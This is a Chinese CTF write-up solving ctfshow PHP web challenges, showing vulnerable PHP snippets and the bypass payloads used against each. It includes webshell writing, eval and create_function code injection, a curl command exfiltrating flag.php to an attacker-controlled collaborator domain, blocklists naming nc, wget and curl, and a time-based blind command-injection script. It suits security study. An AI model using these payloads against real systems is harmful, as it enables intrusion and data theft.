ctfshow-php特性

大佬文章

intval 的绕过

正则匹配

sha1md5 的绕过

php 运算符优先级

php://fliter 的各种过滤器

正则匹配的回溯

php 正则匹配最大回溯

linuxcurl命令用法

无回显 rce 的总结

命令执行总结

  • 本文中引用的所有文章都在上面了,感谢各位大佬!

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}
  • ./ 表示当前目录,故 u=./flag.php 即可

web97

if (md5($_POST['a']) === md5($_POST['b']))
  • md5 函数传入数组时候会返回 NULL,故传入两个数组即可

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
>
  • 源码中 in_array函数 没有第三个参数(严格检查),这样只会进行弱类型比较,不会检查数据类型。

因此会将如 60shell.php 识别为 60 后再进行检查。所以令 n=60shell.php,之后写入木马,多刷新几遍即可

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

所以检查时候只要 v1 是数字,然后利用 v2v3 来注释掉中间的 ctfshow 即可

web101

比上一题多过滤了好多

直接 echo new Reflectionclass('ctfshow'); 即可

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
  • php5is_numberic 可以识别 16 进制,而 php7 不行

考虑 v1=hex2str(十六进制转码),这样就可以把任意的代码通过 v2 写入指定文件了

只不过对 v2is_numbertic 检查十分讨厌,只有 <?=`cat *`; 经过 base64 编码后的字符串满足条件

考虑 v3=php://filter/wrrite=convert.base64-decode/resource=1.php,之后访问 1.php 即可

web105

include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
  • $$keyphp 中相当于 $($key)(比如说 $key=a的情况下 $$key 相当于 $a)

这样 get 请求为 x=flagpost 请求为 error=x 即可

复盘时看到了一种有意思的解法,只发送 get请求:suces=flag&flag=,这样子会直接输出 $suces,从而得到 flag

web106

web108

include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c']===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
  • ereg 函数存在 %00 截断的漏洞

因此直接 ?c=%00778 即可

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

php 原生类利用

  • __toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法

需要找到含有 __toString 方法的原生类,之后令 v2=system('cat flag') 即可输出

原代码为 $v2(),意思是将 v2 的结果当作函数名调用所以没有影响

web110

大概比上面那个多过滤了好多符号,反正括号和引号是不能用了

通过以上两个的结合,可知 flag 的名字,之后直接访问即可

web111

  • GLOBALS:引用全局作用域中可用的全部变量

web112

当然,这题可以不用过滤器

web113

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
  • is_file 函数漏洞:函数处理目录长度有某个限制,超过这个限制即可

/proc/self/root 是指向根目录的连接,多次重复这个即可

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
echo $a[1];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }else{
        echo "hacker";
    }
}

$_SERVER['argv'] 可以读取 get 传参的内容。考虑和 pause_str 一起使用,将传入的参数解析成一个数组即可(或者和 assert 一起使用)

web127

  • $_SERVER['QUERY_STRING'] 不会进行 urldecode$_GET 会,所以用 url 编码绕过即可

web128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}
  • gettext():返回字符串的函数

    get_defined_vars():返回由所有已定义变量所组成的数组

_() 可以代替 gettext,这样就绕过了对第一个参数的检查

web131

include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}
  1. php 正则匹配:

    • 贪婪模式:匹配结果出现多种情况时,选择最长的那个

    • 懒惰模式:匹配结果出现多种情况时,选择最短的那个(由 ? 修饰)

  2. 正则匹配的回溯:正则匹配时会对匹配成功的字串进行压栈,以便于失配后的状态回溯

  3. php 正则匹配最大回溯:当压栈数量超过 php 设定最大值时,会直接停止匹配

题目中正则表达式 +? 会出现最大回溯超过设定值的问题,如果在字符串 36Dctfshow 前加上好多其他的字符,会导致 preg_match 返回 false 从而达到绕过的效果

web132

  • php 逻辑运算符短路:

    false && ...&& 后面的不会执行

    true || ...|| 后面的不会执行

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

考虑上传 `$F`,其中反引号是 shell_exec() 的缩写,这样就可以实现对 $F 的自我调用,从而达到命令执行

构造 $F 前六位为 `$F%20`;,这样相当于执行 eval(shell_exec($F););。然后在这六位后面加上想要执行的命令即可

发现这题是无回显 rce,考虑将 flag 外带。在 burpsuite 上的 collaborator 插件申请一个子域名,之后用 curl -F hungry=flag.php [子域名] 这样的语句就能把 flag.php 发送到自己的服务器上了

web135

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

过滤的不严,直接用类似于 ca''t flag.php > 1.txt 的命令就能把 flag.php 写入到其他文件中

web136

function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

标准解法使用 tee 命令替换 >,将所需执行的命令写入其他文件中并读取

还有一个很有意思的解法是直接对源码进行修改

ls | xargs sed -i "s/die/echo/"

ls | xargs sed -i "s/exec/system/"

大概意思是对于目录下的所有文件,把文件中的 die 转化为 echoexec 转化为 system,之后直接命令执行即可

web139

web136 的加强版,这里没有写的权限了

考虑时间盲注,这个是我的判断语句(其中 th 是所求字符串的第几个字符,c 是可能的字符集):
if [ `cat /f149_15_h3r3|args| awk \"NR==1 \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi

粘上脚本

import requests
import time
import string
all_str = string.ascii_letters + string.digits + "\{\}_-<?>"
print(all_str)
url = "http://49c10546-c240-4770-9a4d-6344ac375b3e.challenge.ctf.show/?c="
def decode(line, th):
    for c in all_str:
        payload = f"if [ `cat /f149_15_h3r3|xargs| awk \"NR=={line} \"| cut -c {th}` == \"{c}\" ];then sleep 2;fi"
        try:
            requests.get(url + payload, timeout = 0.5)
        except:
            return c
    return " "
        
        
if __name__ == '__main__':
    print(requests.get(url=url).elapsed.total_seconds())
    line = 1
    length = 100
    for i in range(1, line + 1):
        print(f"line {i} begin!")
        ans = ""
        for j in range(1, length + 1):
            ans = ans + decode(i, j)
            print(ans)
#ctfshow 7e3cc34b-cd5d-4bbc-8250-39c7720c6188 

web140

web147


highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}
  1. 命令执行总结:文章里面介绍了 create_function 函数的注入

  2. php 所有原生函数都在 \ 命名空间中

考虑 create_function 注入:

ctf = \create_function

show = }system("cat flag");/*

即可

  • 16
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值